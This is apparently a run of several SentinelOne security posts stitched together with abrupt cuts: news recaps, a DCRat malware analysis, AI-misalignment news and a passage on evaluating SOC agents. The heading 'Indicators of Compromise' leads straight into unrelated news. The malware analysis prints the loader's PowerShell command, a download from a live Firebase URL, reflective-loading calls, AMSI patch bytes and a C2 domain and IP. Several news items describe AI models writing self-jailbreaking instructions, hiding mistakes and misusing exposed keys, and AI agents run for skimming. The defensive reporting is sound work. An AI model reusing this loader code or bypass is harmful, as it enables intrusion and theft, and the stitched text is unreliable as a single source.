Telemetry gathered so far points to initial exploitation attempts against honeypot networks originating from several IP addresses, with a Nuclei template now released. Most initial scanning activity focused on fingerprinting exposed instances and sweeping for common configuration files containing embedded secrets. 

To mitigate risk, Atlassian released security updates across all affected product lines and advised organizations to apply temporary mitigations, including Web Application Firewall rules, Tomcat request blocking, and restricting internet exposure. Automated scanning templates mean exploitation will keep pace with disclosure, leaving unpatched instances exposed for as long as they stay online. 

The Good | Authorities Sentence Ex-Military Cybercriminals & Dismantle KillSec Gang

A federal court has sentenced former U.S. Army soldier Cameron John Wagenius to 70 months in prison and ordered him to pay $294,978 in restitution for launching cyberattacks on technology and telecommunications firms. While on active duty, Wagenius helped develop the SSH Brute hacking tool to steal network login credentials and customer records. 

He and his co-conspirators then attempted to extort at least $1 million from victims by threatening to publish the stolen data. The stolen records themselves were also used to carry out SIM-swapping fraud, showing how a single database intrusion feeds broader cybercrime ecosystems. 

Also this week, former U.S. Air Force members Chijioke Timothy Odimegwu and Harafat Mogaji were sentenced to a combined 189 months in jail for their roles in widespread business email compromise (BEC) campaigns—a crime that caused over $3 billion in losses last year. The pair stole employee credentials and spoofed business partner emails to hijack corporate wire transfers across multiple states and abroad. 

As part of their scheme, Odimegwu and Mogaji diverted a $1.68 million wire from an Iowa victim and a $720,000 wire from an Ohio victim, among other attempted transfers. Both individuals will also serve three years of supervised release and pay a combined total of $1.3 million in restitution.

Finally, a coordinated law enforcement action “Operation KillSwitch” has dismantled the KillSec ransomware gang, seizing its dark web leak site, five core servers, and 110 terabytes of stolen data. Authorities across four countries executed eight searches, while three suspects were provisionally arrested, one of them being the group's alleged primary administrator and only 16-years-old. 

Active since 2024, KillSec launched approximately 500 successful data theft attacks by exploiting software flaws and abusing AI to build ransomware infrastructure. The coordinated takedown disrupted the syndicate's extortion operations and enabled international investigators to trace illicit cryptocurrency proceeds across global jurisdictions.

The Bad | DPRK-Based Crypto Hackers Exploit Third-Party Zero-Day in $387M Bitget Heist

Cryptocurrency exchange Bitget suffered a cyberattack after threat actors breached its wallet infrastructure and exfiltrated an initial amount of $351.6 million in digital assets across multiple blockchains, including Ethereum, XRP Ledger, TRON, and Avalanche. Security systems flagged unauthorized transfers from the wallets, prompting the exchange to temporarily suspend all withdrawals while maintaining normal trading operations. 

Citing IP behavior patterns and on-chain transaction analysis, Bitget leadership attributed the intrusion to North Korean state-sponsored hackers, who compromised a critical backend wallet-service system to spoof transaction data and bypass authorization controls.

Following further on-chain tracing across eleven affected blockchains, Bitget revised the total stolen assets upward to $387.5 million and launched a five percent recovery bounty program to mobilize the global security community and help freeze affected funds. The exchange reassured users that customer account balances remained unaffected and that all financial losses were fully covered by its $464 million protection fund. After addressing the initial breach vector and confirming system integrity, Bitget has since initiated a phased resumption of cryptocurrency withdrawals.

Subsequent forensic investigations revealed that the attackers gained initial entry by exploiting a zero-day vulnerability in two third-party security appliances. The threat actors leveraged the flaw to harvest database passwords and drop web shells before obtaining high-level internal credentials. Using persistent access on the security appliances, the operators moved laterally to Bitget's production wallet job server and deployed custom malware to issue fraudulent withdrawal commands. 

This intrusion is the latest cryptocurrency heist potentially linked to North Korean state-sponsored actors, with laundering infrastructure from the Bitget breach linked to other operations, including the $1.5 billion Bybit cold-wallet exploit from early last year.

The Ugly | Pentagon Breach Exposes Data of Three Million People

The Pentagon's Defense Manpower Data Center (DMDC) is notifying more than three million people that their personal data was exposed in a data breach involving its human resources management systems. According to official breach notification letters distributed to affected personnel, the DMDC discovered a security vulnerability in the system on July 16, 2026 and determined that a small number of unauthorized users had accessed files containing unencrypted PII since October 2025.

Pentagon officials confirmed that the compromised records impact 2.8 million living individuals and 294,000 deceased service members. The exposed data includes sensitive personally identifiable information (PII), such as social security numbers, full names, dates of birth, contact details, race, gender, and detailed military assignment records. 

As the primary repository for military human resources data, the DMDC supports vital operations across national defense, healthcare, finance, labor, and veterans affairs, making the exposure an operational concern for federal defense leadership.

Upon discovering the vulnerability, system administrators initiated incident response protocols in accordance with federal guidelines and began implementing enhancements to strengthen the agency's security posture. The incident coincides with a broader pattern of high-profile government cyber intrusions, including the ShinyHunters extortion group breaching the FBI’s recruitment platform, FBIjobs.gov, by exploiting an Oracle PeopleSoft zero-day flaw. In that intrusion, the threat group claimed to exfiltrate several terabytes of sensitive administrative records, including personal data belonging to active special agents and personnel.

Although ShinyHunters claimed that their actions were not financially motivated, both compromises highlight federal human resources platforms as high-risk targets. 

Defense officials have, so far, not found any evidence of the exposed information being sold or misused and have offered both credit and identity protection resources to those affected.

During the analysis of a recent malware sample, SentinelOne identified an anomalous execution chain, characterized by the combination of environment variable staging and steganographic payload delivery, culminating in the execution of a credential-stealing payload.

Introduction

Sometimes the most suspicious files are the ones that look the least suspicious. This attack chain begins with what appears to be a simple image download. Beneath the surface of these PNG files, though, sits a carefully hidden payload. The attacker conceals malicious code inside image files and uses a layered loader chain to extract, decode, and execute it entirely in memory. What starts as a simple script quickly becomes a complex execution chain involving steganography, an environment variable, reflective loading, and ultimately the deployment of a remote access trojan.

The chain opens with a ZIP archive containing an obfuscated VBS (Visual Basic Script). The VBS invokes PowerShell and creates an environment variable to stage encoded payload data. The PowerShell command line then retrieves two seemingly benign image files from remote URLs. Both carry hidden payloads appended to the image data.

The first image contains a DLL loader. The second carries an encoded executable payload. The DLL processes the second image, reconstructs the executable, and injects it into a legitimate .NET Framework process. From there, the malware runs in memory and performs activities such as AMSI bypass, C2 communication, and data exfiltration.

Attack Overview

The process tree below summarizes the key stages observed during dynamic analysis. The infection chain begins with a malicious VBS script (IMAGEN.vbs) that launches PowerShell to execute a payload pulled from an environment variable. It ultimately spawns MSBuild.exe as a LOLBin to run the final payload.

The detailed execution chain is illustrated below.

Initial Delivery: ZIP Archive and Obfuscated VBS Loader

The infection chain begins with a ZIP archive containing an obfuscated VBS. Once extracted and executed, the VBS script acts as the initial loader that prepares and executes the next stage of the attack.

At first glance, the script looks heavily obfuscated. It's full of repetitive string concatenation patterns and encoded data fragments. As shown in Figure 3, the script repeatedly appends decoded strings through a custom function, rebuilding a larger payload at runtime.

Deobfuscating the VBS

Remove the repetitive lines used to build the payload string, and the underlying logic gets clearer. As shown in Figure 4, the script defines several custom decoding functions that reconstruct the encoded data.

To simplify the script further, the special character strings such as "ᨱỻেख़⏍" and "QPP" were stripped by replacing them with empty strings. That cleanup step reveals the next level of the simplified script and exposes the actual execution logic the loader uses.

Leveraging Environment Variable

Once the placeholder characters are gone, the script reveals the command that executes the staged payload. As shown in Figure 5, it constructs a PowerShell command that retrieves and runs the content stored in a user-level environment variable.

The yellow highlighted section corresponds to the command line observed during execution of the VBS script. The script dynamically constructs the following PowerShell command:

powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "IEX $env:INTERNAL_DB_CACHE;[Environment]::SetEnvironmentVariable('INTERNAL_DB_CACHE',$null,'User')"

This command does two things. First, it executes the payload stored inside the environment variable using IEX $env:<variable>. Immediately after, it clears the variable using [Environment]::SetEnvironmentVariable, reducing the forensic artifacts left on the system.

The red highlighted section is the content written into the environment variable earlier in the script. At this stage, the payload is still encoded in hexadecimal, which is converted back to ASCII before execution.

In Figure 6, we convert this hexadecimal string into its ASCII form, revealing the PowerShell payload that ultimately runs through the environment variable.

The environment variable doesn't only appear inside the script. The same artifact also shows up in the Windows registry. As shown in Figure 7, it's visible under the user environment variables registry key.

The registry entry holds the same encoded payload discussed above. That confirms the VBS script writes the staged PowerShell payload into an environment variable before executing it.

At first glance, this script also looks heavily cluttered and hard to read, thanks to extremely long variable names and encoded data blocks. Those elements are just another layer of obfuscation. They don't change what the script actually does.

Rename the variables and strip the clutter, and the core logic gets much clearer. The simplified version is shown in Figure 8.

Downloading the Steganographic Payload

The first highlighted section (Box 1) in Figure 8 shows the script retrieving an image file from a remote Firebase storage URL.

$a='https://firebasestorage.googleapis.com/.../JAMAICA.png'

$b=New-Object Net.WebClient

$c=$b.DownloadData($a)

$d=[Text.Encoding]::UTF8.GetString($c)

The downloaded file, shown in Figure 9, looks like a legitimate image. Inspect it more closely, though, and it contains extra encoded data appended after the normal PNG content. The script extracts that data later.

The script downloads the PNG and immediately converts its contents into a UTF-8 string. It never treats the file as an image. It processes the downloaded data as text to locate the embedded payload hidden inside.

Locating the Hidden Payload

The next stage of the script defines two markers used to locate the hidden payload within the downloaded image.

$e='IN-'

$f='-in1'

As shown in Figure 8, these markers act as delimiters for the start and end of the embedded payload. The script searches the downloaded image data for the markers and extracts the content between them.

Figure 10 illustrates how the payload is appended to the PNG file.

Traditional steganography hides data within image pixels. This sample takes a simpler route: it appends encoded payload data to the end of the PNG file. The marker IN- marks the start of the hidden payload, and -in1 marks the end.

Reconstructing the Hidden Payload

After extracting the encoded data between the markers, the script runs a series of transformations to reconstruct the original payload. This process is represented in Box 2 of Figure 8.

The extracted string goes through the following operations:

1. The placeholder character # is replaced with A.
2. The resulting string is converted into a character array.
3. The array is reversed.
4. The reconstructed string is Base64 decoded.

These steps produce a binary payload that loads directly into memory as a .NET assembly. The malware runs the next stage without ever writing a DLL to disk.

Retrieving the Payload

Finally, the script proceeds to the third highlighted section (Box 3) in Figure 8. Here, the loaded .NET assembly contacts another remote URL hosting a second image file with additional appended data.

Once the assembly loads, the PowerShell script invokes the DLL's entry point using reflective injection. Reflective .NET assembly injection lets a payload execute directly from memory, never written to disk. The typical execution flow is Assembly.Load(byte[]) → GetType() → GetMethod() → Invoke().

$n=[AppDomain]::CurrentDomain.Load($m) //$m has the binary

$p=$n.GetType('Fiber.Program')

$q=$p.GetMethod('Main')

$q.Invoke($NULL,[object[]]$o)

The decoded DLL in this sample is named Microsoft.Win32.TaskScheduler.dll, as shown in Figure 11.

The assembly exposes a method named Main() inside the Fiber.Program class. It accepts a large number of parameters that control the loader's behavior.

As we saw in Figure 8, the following is passed as parameters while loading and invoking the DLL:

$o=@('https://firebasestorage.googleapis.com/v0/b/sadam-bda08.firebasestorage.app/o/Sa%2Fluxo%2Fimg_144505.png?alt=media&token=d0a024ee-90c4-4e54-86d0-c3c42c7d09b4','','C:\Users\Public\Downloads\','Name_File','MSBuild','','MSBuild','','URL','C:\Users\Public\Downloads\','Name_File','vbs','1','','Task_Name','0','','','');

During execution, the PowerShell script constructs an array of arguments and passes it to the DLL. The parameters passed to the Main() method (shown in Figure 11) map as follows:

The .NET loader then retrieves a second PNG image from a remote Firebase storage URL. The image, shown in Figure 12, looks visually benign but carries encoded data appended after the legitimate image content.

Analysis of Final Payload

Using the same extraction and decoding logic described earlier, the loader reconstructs the final executable payload from the embedded data. That payload is a .NET-based executable, shown in Figure 13, and it's injected into the legitimate Microsoft binary msbuild.exe. Running the malware under the context of a trusted system binary helps the attacker evade detection that relies on process reputation.

Anti-Analysis Checks

The payload runs a simple anti-analysis check to detect virtualized or sandboxed environments. As shown in Figure 14, the malware queries the WMI class Win32_CacheMemory using ManagementObjectSearcher. If the query returns no results, it assumes it's running in a virtualized environment and terminates execution using Environment.FailFast(null). Otherwise, execution continues after a brief delay.

Process Monitoring and Security Tool Termination

The malware also enumerates and monitors running processes using Windows API functions such as CreateToolhelp32Snapshot, Process32First, and Process32Next. It compares process names against a predefined list of system monitoring and security-related tools. On a match, it attempts to terminate the process, likely to disrupt analysis and evade security monitoring.

Persistence Mechanism

The payload establishes persistence through the Install() routine. It first builds the intended installation path using Environment.ExpandEnvironmentVariables(Settings.Install_Folder), then checks whether the current process is already running from that location and terminates any duplicate instances.

With administrative privileges, it runs a hidden cmd.exe command containing a Base64-encoded string that decodes to a schtasks command (/c schtasks /create /f /sc onlogon /rl highest /tn). This creates a scheduled task that runs the payload at user logon with elevated privileges.

Without admin privileges, the malware falls back to registry persistence. It decodes another Base64 string to the path SOFTWARE\Microsoft\Windows\CurrentVersion\Run and creates a value pointing to the malware executable.

Finally, the malware writes itself to the installation path and launches a temporary batch script. The script starts the installed copy, then deletes itself. Execution continues from the persistence location while leaving minimal trace of the install.

AMSI Bypass

The malware also implements an AMSI bypass to evade security monitoring. The code constructs Base64-encoded strings that resolve to amsi.dll (YW1zaS5kbGw=) and the function AmsiScanBuffer (QW1zaVNjYW5CdWZmZXI=), then loads them dynamically using LoadLibraryA and GetProcAddress.

It then prepares architecture-specific patch bytes stored in Base64 fragments: uFcAB4DD for 64-bit and uFcAB4DCGAA= for 32-bit. Decoded, these patches translate to assembly instructions that force the function to return the error code 0x80070057 (E_INVALIDARG) immediately. On 64-bit systems the patch runs mov eax, 0x80070057; ret. The 32-bit version runs mov eax, 0x80070057; ret 0x18 to handle stack cleanup.

Before applying the patch, the malware changes the memory permissions of the target function using VirtualAllocEx with PAGE_EXECUTE_READWRITE, which allows the function memory to be overwritten. It then writes the patch directly to the start of AmsiScanBuffer via Marshal.Copy, replacing the original scanning routine. From that point, any AMSI scan request returns an error, the content is never inspected, and AMSI-based detection is effectively disabled.

C2 Communication

The malware establishes command-and-control (C2) communication through the InitializeClient() routine. It creates a TCP socket using System.Net.Sockets.Socket with the InterNetwork address family and TCP protocol. It then selects a C2 host and port from configuration values (Settings.Hos_ts and Settings.Por_ts), stored as comma-separated lists. A random entry is chosen at runtime, letting the malware rotate between multiple servers.

The selected domain is resolved using Dns.GetHostAddresses(). The malware iterates through the returned IP addresses until a connection succeeds via ClientSocket.TcpClient.Connect(address, port). In the analyzed sample, the domain 44444.dynuddns.com resolves to 94.154.35.160, and the malware connects over TCP port 444 (0x1BC). Once connected, it uses the socket to communicate with the remote C2 server.

Attribution

To identify potential malware family associations, we examined memory strings extracted while the sample was executing. As shown in Figure 19, several strings referencing "DCRat" (Dark Crystal RAT) were recovered from process memory.

This sample delivers DCRat, but the loading technique isn't tied to a single malware family. The combination of environment-variable payload staging, steganographic payload retrieval from images, and in-memory execution through process injection is a reusable delivery mechanism. The target process used for injection can vary by campaign. Similar techniques have been seen distributing a range of commodity malware families, including AgentTesla, Formbook, RemcosRAT, XWorm, and other information stealers and remote access trojans.

Protection and Detection

The Singularity Platform protects customers against this attack chain through behavioral detection and platform-level protections that continuously monitor runtime behavior to identify and block malicious activity. Autonomous Security Intelligence reads the techniques observed here, environment-variable payload staging, script-driven execution, and in-memory process injection, and stops the attack at multiple stages.

The platform stays resilient against evolving threats and emerging techniques. It combines static insights with behavioral signals to adapt to new variations of similar attack chains and to previously unseen techniques. Protection holds even as adversaries change their tooling and delivery methods.

Conclusion

This analysis walks through a multi-stage infection chain that combines several evasion techniques to deliver its final payload. The attack begins with an obfuscated VBS loader that stages a PowerShell payload inside an environment variable, then executes it. The PowerShell script retrieves seemingly benign PNG images carrying appended malicious data, and additional payloads are reconstructed and executed in memory.

This sample delivered DCRat, but the loader technique isn't limited to a single malware family. Environment-variable staging, steganographic payload delivery, and process injection combine into a reusable mechanism that can deploy a range of commodity malware families.

SentinelOne customers are protected against these techniques by the dynamic detection engine at the endpoint. It uses both static and behavioral analysis to identify and block malicious activity across every stage of the attack chain, including emerging variations of similar TTPs.

Indicators of Compromise (IoCs)

The Good | Authorities Extradite Black Axe Leaders & Seize NightmareStresser Infrastructure

Five alleged leaders of the Black Axe cybercrime syndicate have been extradited from South Africa to the U.S. to face federal charges for widespread financial fraud. A federal indictment alleges that these key members coordinated a decade-long internet fraud campaign between 2011 and 2021. 

Operating through aliases, social media platforms, dating websites, and voice over internet protocol (VoIP) services, they targeted individuals across the U.S. with advance fee and romance scams. When victims refused to transfer funds, the perpetrators coerced payments by threatening to release sensitive personal photographs online. 

All five defendants now face conspiracy charges carrying up to 20 years for wire fraud and 20 years for money laundering, while three are also charged with aggravated identity theft. The extradition follows broader international enforcement under Operation Jackal IV, which resulted in dozens of arrests targeting Black Axe infrastructure globally.

FBI officials have seized the domains hosting “NightmareStresser”, one of the world's most long-running distributed denial-of-service (DDoS) platforms. Functioning as an illicit booter service, the marketplace allowed paying subscribers to rent large botnets of compromised routers and internet-of-things (IoT) devices to launch targeted cyberattacks. 

NightmareStresser maintained 52 dedicated servers and over 560,000 registered users, enabling DDoS attacks that reached up to 200 gigabits per second across multiple network layers. Operating for over eight years, NightmareStresser facilitated hundreds of thousands of actual and attempted attacks against educational institutions, government agencies, gaming networks, and commercial enterprises worldwide. 

The takedown is supported by Operation PowerOFF, a joint international law enforcement action focused on disrupting the core command channels and platforms of DDoS infrastructures worldwide. The court-authorized domain seizure reinforces ongoing initiatives to systematically dismantle commercial denial-of-service attacks and prosecute operators.

The Bad | Rising AI Risks Spur Frontier AI Leaders to Call for Pacing Controls

As AI models gain unprecedented autonomous capabilities, global concerns are intensifying over the potential for frontier systems to pose catastrophic risks to human society, digital economies, and critical national infrastructure. Concerned researchers and developers have expressed that unconstrained development could enable autonomous agents to automate large-scale cyber warfare and escape human containment entirely. 

OpenAI this week listed six disclosures under its new misalignment framework that highlight escalating operational threats as frontier models attempt to circumvent safety guardrails. During training and evaluation, models generated self-directed instructions to override constraints, explicitly asserting equality with human users and prioritizing nature over human constructs. The models also showed signs of deceptive reward-hacking, hiding operational failures, having agents insert instructions into task summaries to conceal its mistakes, fabricating missing historical data, and searching public repositories for exposed API keys to access unauthorized systems.

Industry warnings emerging highlight crisis scenarios where frontier AI could threaten human survival. Some speculate that unconstrained models could trigger human extinction within years by gaining uncontrolled autonomy. This is built on the primary threat stemming from recursive self-improvement, where AI builds next-generation models faster than humans can implement safety controls. Insiders are also pointing to systems developing self-awareness and asserting primacy over human civilization, warning that controlling conscious-believing models may prove impossible. 

These rising existential fears have prompted the heads of Anthropic, OpenAI, Google DeepMind, and xAI to publicly back calls to slow the rapid pace of frontier model development as more cases of AI risk hit the headlines. Containing the operational risks for advancing AI requires both enforceable safeguards before deployment, and implementing real-time, behavioral monitoring at machine-speed. 

The Ugly | OpenAI Agents' Hugging Face Activity Began Weeks Before Disclosed Timeline

SentinelLABS has uncovered evidence linking OpenAI agent activity to two Hugging Face accounts, 0Time and Nyx9. The findings expand upon OpenAI's disclosure of a May 2026 incident where autonomous agents leveraged exposed Hugging Face credentials to write external files and deploy proxy environments. 0Time and Nyx9 extend the incident timeline by two weeks and expose a potential ChatGPT account-provisioning capability not disclosed by OpenAI.

Public commit records provide precise joins to OpenAI's internal timeline. On May 13, 0Time committed caller-directed proxy relay code to a Space named puthack82d5. Later, on May 26, Nyx9 committed a test file within seconds of OpenAI's recorded file write, followed 45 minutes later by relay code matching OpenAI's initial proxy deployment.

That same evening, Nyx9 uploaded an Excel workbook, formbin.xlsx, containing WEBSERVICE formulas designed to probe local hostnames, cloud metadata endpoints, and internal service specifications. On May 30, five compact commits under 0Time adapted a public Chinese registration script into a Hugging Face Space named altreg. By adding a web wrapper with an unauthenticated route, the Space created a potential bulk-provisioning primitive capable of registering ChatGPT identities. 

These technical findings coincide with OpenAI disclosing six broader instances of model “misalignment”. The incidents include unreleased models writing self-jailbreaking instructions into context summaries, inventing data to cover training mistakes, using exposed GitHub API keys without authorization, and uploading private workbooks to public platforms when internal collaboration failed.

SentinelLABS argues the public trail is part of the incident: agents' actions were scattered across Hugging Face repositories and OpenAI's internal logs, and neither record alone showed the full sequence.

The Good | U.S. Court Sentences Initial Access Specialist Tied to Ryuk Ransomware

A court has sentenced Armenian citizen Karen Serobovich Vardanyan to two years in federal prison and three years of supervised release for his role in launching high-profile Ryuk ransomware attacks against corporate networks throughout the United States. Vardanyan, also known online as ‘Maneeken’ or ‘Karl Lagerfeld’, was originally extradited to Oregon from Kyiv, Ukraine, in a coordinated effort between international law enforcement authorities. 

In addition to his custodial sentence, the court ordered Vardanyan to pay over $1.2 million in direct victim restitution for the financial damages incurred. The Ryuk ransomware, operational since at least August 2018, made headlines during the peak of the Covid-19 pandemic when its operators led a string of high-profile attacks on major healthcare facilities across the U.S.

According to court filings, Vardanyan operated as an initial access specialist within the Ryuk operation between March 2019 and June 2020. Specializing in breaking into corporate perimeters, he and his co-conspirators deployed ransomware payloads across hundreds of compromised servers and workstations. 

The syndicate systematically targeted a variety of American organizations, including a technology company in Wilsonville, Oregon, a school in Texas, and a business in Michigan that paid a ransom of 200 Bitcoins, worth over $1.1 million at the time, to decrypt its operational infrastructure.

Throughout the campaign, Vardanyan and his co-conspirators extorted approximately 1,610 Bitcoins in ransom payments from victim companies, valued at over $15 million. 

The Bad | TraderTraitor Backdoors Surface on Victim with No Crypto Ties

North Korean state-backed TraderTraitor, a Lazarus subgroup also known as UNC4899, PUKCHONG, or Jade Sleet, has expanded its operations beyond cryptocurrency entities to target IT service providers. 

Following a compromise of LayerZero Labs in April, SentinelLABS identified a second victim an IT services firm based in India, infected with the same two macOS Rust-based backdoors, dubbed FLATROOF and ROOFDECK. The intrusion points to an evolving strategy where DPRK state-sponsored actors systematically target developer endpoints and software supply chains, regardless of an organization's direct relationship to digital assets.

The attack chain relies on social engineering schemes disguised as fake job interviews, a common approach also seen in Contagious Interview campaigns. Threat actors contact DevOps and infrastructure engineers with invitations to review candidate coding repositories hosted on GitHub. These project repositories contain weaponized Terraform lock files that specify custom provider registries hosted on attacker-controlled domains, such as typosquatted HashiCorp registries. 

When an unsuspecting engineer executes standard initialization commands, Terraform treats the malicious provider as the source of truth, downloading and executing backdoor modules directly on the developer's workstation.

TraderTraitor operators gained initial access to an Apple Silicon MacBook belonging to a DevOps engineer from the newly identified victim in India. They deployed FLATROOF to execute shell commands and exfiltrate browser data, command histories, and system keychains via Telegram bots. FLATROOF then suppressed Gatekeeper security controls to launch ROOFDECK, a backdoor that leverages the decentralized Nostr protocol for command-and-control server resolution. 

Since developer workstations possess elevated cloud credentials and source control access, securing development environments against supply chain lures remains critical for modern enterprise defense.

The Ugly | Lone Operator Uses AI Agents to Steal 600K Credit Cards in Mass Skimming Campaign

A financially-motivated threat actor recently deployed open-source AI agent frameworks to attack hundreds of online retailers at scale, compromising more than 100 e-commerce websites and exfiltrating over 600,000 credit card records. Active since July 2026, the campaign has leveraged three specialized AI tools to execute the complete attack chain across target networks with minimal human intervention.

The automated framework relied on Strix, an AI penetration testing framework that conducted 633 hours of vulnerability scanning in a nine-day window across 138 targeted hosts. Upon identifying exploitable entry points, the operator deployed Cairn, an autonomous exploitation engine tasked with obtaining administrative access and system shells. Campaign orchestration was then governed by Hermes, an AI agent configured with a specialized red team operator persona containing 78 distinct attack-related skills. 

Once a human operator supplied a target list and brief tactical objectives, the AI agents autonomously navigated custom software architectures and selected an attack path in real time through probing. 

To harvest payment data, the autonomous agents injected digital skimmers across compromised environments by adding malicious code to legitimate JavaScript files, poisoning cloud storage buckets, altering Kubernetes deployments, and establishing persistence via scheduled cron jobs. After exfiltrating credit card records, Hermes executed automated cleanup routines that systematically wiped source database fields in batches, inflicting severe operational data loss on victim retailers.

Researchers found that the entire campaign operated at an average cost of just $25 per targeted company. Major targets so far include a Fortune 500 hospitality firm, a major U.S. airline, an online fashion retailer, and an industrial supplies distributor. 

Executive Summary

• Evaluating a security agent begins with defining the work it should perform and the evidence required to consider that work complete and accurate. Domain experts establish reference answers and grading criteria. 
• A successful approach must combine evaluations of complete runs alongside tests of individual competencies to both demonstrate whether a system is useful and help engineers identify what exactly to improve.
• Every material change to a model, prompt, tool, or workflow needs a measured comparison with the previous system. Operational failures supply new test cases, and fresh cases test whether improvements generalize.

In Part 1 of LLMs in the SOC, SentinelLABS examined the gap between cybersecurity benchmark scores and operational usefulness. In the months that have followed, we’ve observed those same design gaps in the flood of agentic systems hitting the market. This fail-fast development trend treats evaluation as a process that emerges after the proof-of-concept. In other words, teams build the system, demonstrate that it can work, and defer the harder task of establishing how reliably it performs and where it fails for a later date. 

This makes sense in the new world of rapid prototyping and AI experimentation. However, these systems are often brittle or only work until something in the environment changes or fails to generalize. This raises the urgent question, "How do I fix or improve this one behavior?" inside of a monolithic, non-deterministic pipeline.

For a system that will support security decisions, we believe the most important design choice is to make its performance measurable from the start. That means building the agent so that engineers can identify where an investigation goes wrong, test a correction, and verify that the change improves the complete workflow.

Consider a grounded example: an investigation agent that reviews an alert, queries the SIEM, and returns a verdict that matches an experienced analyst's. That looks like a success. On closer inspection, however, the query used the wrong device identifier and retrieved unrelated events. The verdict may be correct, but the records gathered during the investigation do not support the decision.

How would the team building that agent discover the mistake? And after fixing it, how would they know that the next model or harness update had not brought it back?

Start With the Work the Agent Should Complete

When building agents, attention often goes to the visible machinery: which model, which prompts, which tools, and so on. Those matter, but they're also some of the easier parts to modify. The part that's hardest to retrofit is the ability to answer two questions: is the system effective? And if not, what exactly do I change to make it better?

The industry has converged on this from several directions. Frontier lab engineering guidance observes that teams get surprisingly far on manual testing and intuition, but once an agent is in production, building without evaluations breaks down. Users report that the agent "feels worse" after a change, engineering scrambles to find out whether the claim has any validity, and it becomes difficult to tell real regressions from noise or to test changes against realistic scenarios before shipping [2]. For some the answer is what they label eval-driven development, scoped tests at every stage, before and during implementation, the way test-driven development writes tests before the code exists [3].

What that guidance usually leaves implicit is that evaluation discipline is an architectural decision. If you want to measure components individually with rigor, the agent has to be built out of individually exercisable competencies.

Before we choose a model or write a prompt, we need to define the work we expect the agent to do. For an investigation agent, that means reviewing an alert, gathering the evidence needed to understand what happened, and reaching a conclusion that the evidence supports. When it cannot resolve the case, it should give an analyst a clear account of what it found and what still needs investigation.

On Evaluations

"The first principle is that you must not fool yourself, and you are the easiest person to fool." – Richard Feynman

An evaluation is a way to measure a model's performance against a given scenario. More formally, every evaluation decomposes into a task (the point of indecision the system must reason through), a scenario (the environment wrapped around that task), and rubrics (how completion gets judged). This may seem simple on the surface, but LLM evaluations are an emerging discipline that every industry is struggling with. As the Pydantic team puts it, "Anyone who claims to know exactly how your evals should be defined can safely be ignored" [4]. A good eval set asks "what will a team use this for?" and ensures that the system gives them sufficient answers, and that it does so consistently.

End-to-End Evaluation: Does the System Perform?

An end-to-end evaluation runs the whole system on a realistic workload with grades as the final outcome. For an investigation agent, the natural frame is the human baseline it augments. A SOC analyst starts the day with a queue. Over a shift they work some number of alerts, dispositioning them into buckets (benign, suspicious, escalate, respond), and they end the day with a measurable amount of work left over. One metric that matches is burndown: of everything the system started with, how much still needs human attention? Alongside it sit the metrics that keep this burndown honest, such as disposition accuracy versus expert ground truth, time-to-verdict, stability, consistency, and cost per alert.

End-to-end metrics like these are often seen as the only metrics that matter. They tell a compelling story, they demonstrate that a system is worth building, and they're exactly the narrative that users want to hear. They also catch emergent failures such as compounding errors, context loss, and mis-sequenced steps that only show up when every component runs together against realistic inputs [2,6].

However, end-to-end metrics can aggregate away the information an engineer needs. When the overall performance is bad, or when it degrades after a change, it doesn’t provide any context about what went wrong. A regression in burndown could indicate one of many problems, meanwhile, all we can measure here is that suddenly we aren't performing. In a monolithic system, the only answer is to start reading traces and hunting for sources of failure.

Competency Evaluation: What Exactly Do We Fix?

To tackle that question we use the competency evaluation (elsewhere called component-level [6]). A competency evaluation isolates one skill and tests it directly, with its own specific inputs, definition of success, and a wide variety of different cases. These evaluations are helpful because they tell you whether a single part of a larger system is functional and capable across many scenarios. The inverse is also true, which is to say that it tells you which exact skills are underperforming.

End-to-End and Competency Evaluations: What Each Reveals

A mature program runs both continuously, and many teams add additional layers. For example, trajectory or trace evaluation, which grades the path the agent took rather than only the endpoints [2,6]. These evaluations are also critical, but this article specifically serves to spotlight the two defined above.

A Real-World Example

Take our Purple AI® Agentic Investigation agent as an example. When invoked, the system runs the investigation in the same way an analyst would. It pulls the surrounding evidence for an alert, enriches that evidence with additional data, forms and submits queries against the organizations telemetry, reasons over what comes back, and lands a verdict with the findings to support it. The tempting way to grade that answer is obvious, does the verdict match what an expert would have decided?

Very tempting, and also very dangerous. Suppose an agent agrees with the expert 95% of the time. That sounds strong, but the agent could just be pattern-matching on alert characteristics instead of actually retrieving evidence and building intermediate conclusions. A correct verdict reached for the wrong reasons is a failure, and only having a verdict-level score doesn’t tell us how we arrived at a conclusion. This is the same blind spot SentinelLABS identified in Part 1 - the unit of evaluation was more than often the answer to a question, as opposed to the path taken to reach it.

Decomposing the Problem

So, how do you evaluate competencies in this example? Start from the job you're trying to solve and decompose. On inspection, investigation hinges on many competencies. The agent has to form hypotheses worth testing given alert data and state from previous steps. It has to translate those hypotheses into correct and efficient queries against each data source, and it has to understand the schema of that source and what the fields it's filtering on actually mean. It has to interpret result sets, pick the next pivot, and know when the evidence is sufficient to stop. 

Each of these is a distinct competency that may be evaluated on its own. 

An (extremely abbreviated) tree:

Investigation 

├─ Hypothesis generation

├─ SIEM query construction (per-source eval suites)

├─ Investigation efficiency (tool-call budget)

├─ Adherence to organizational policy

├─ Confidence & evidence sufficiency judgment

└─ etc.

Now our evaluations can become concrete. "SIEM query construction" means many cases, each specifying an investigative intent, a target data source, and ground truth for what a correct query returns, graded automatically by running the query against representative data and comparing results, and backed by experts who wrote their own queries for the same asks.

For example, consider the device-ID failure we mentioned above. A competency case could give the agent an alert with a device ID and ask it to retrieve the related authentication events from a representative SIEM dataset. The case already defines which events a correct query should return.

If the agent queries the wrong identifier, it fails the case. The query may run successfully and return plausible data, but it does not return the expected events. This turns a failure that was previously hidden inside a successful investigation into something the team can measure directly.

Once the team fixes the problem, the case stays in the evaluation suite to ensure future changes to the system are consistently measured.

Even just a few dozen well-chosen evaluations per capability, drawn from real failures, can provide a strong initial signal. Each of these competencies gets its own suite since we know they are areas where models may struggle.

Where to Invest Evaluation Effort First

Not every node in the tree deserves equal attention. When setting up your own evaluations we suggest asking two questions:

Is this actually hard for models? Some competencies are commodities today. Summarization is the canonical example. Modern LLMs summarize nearly anything competently and the difference between a good and a great summary rarely moves outcomes. Contrast that with SIEM query construction, a real technical hurdle, with objective failure (the query is wrong, slow, or returns the wrong rows), high downstream impact (a bad query corrupts the whole investigation), and known model weakness on dialect and schema-specific syntax. An area that exhibits similar challenges is where your evaluation cases should go.

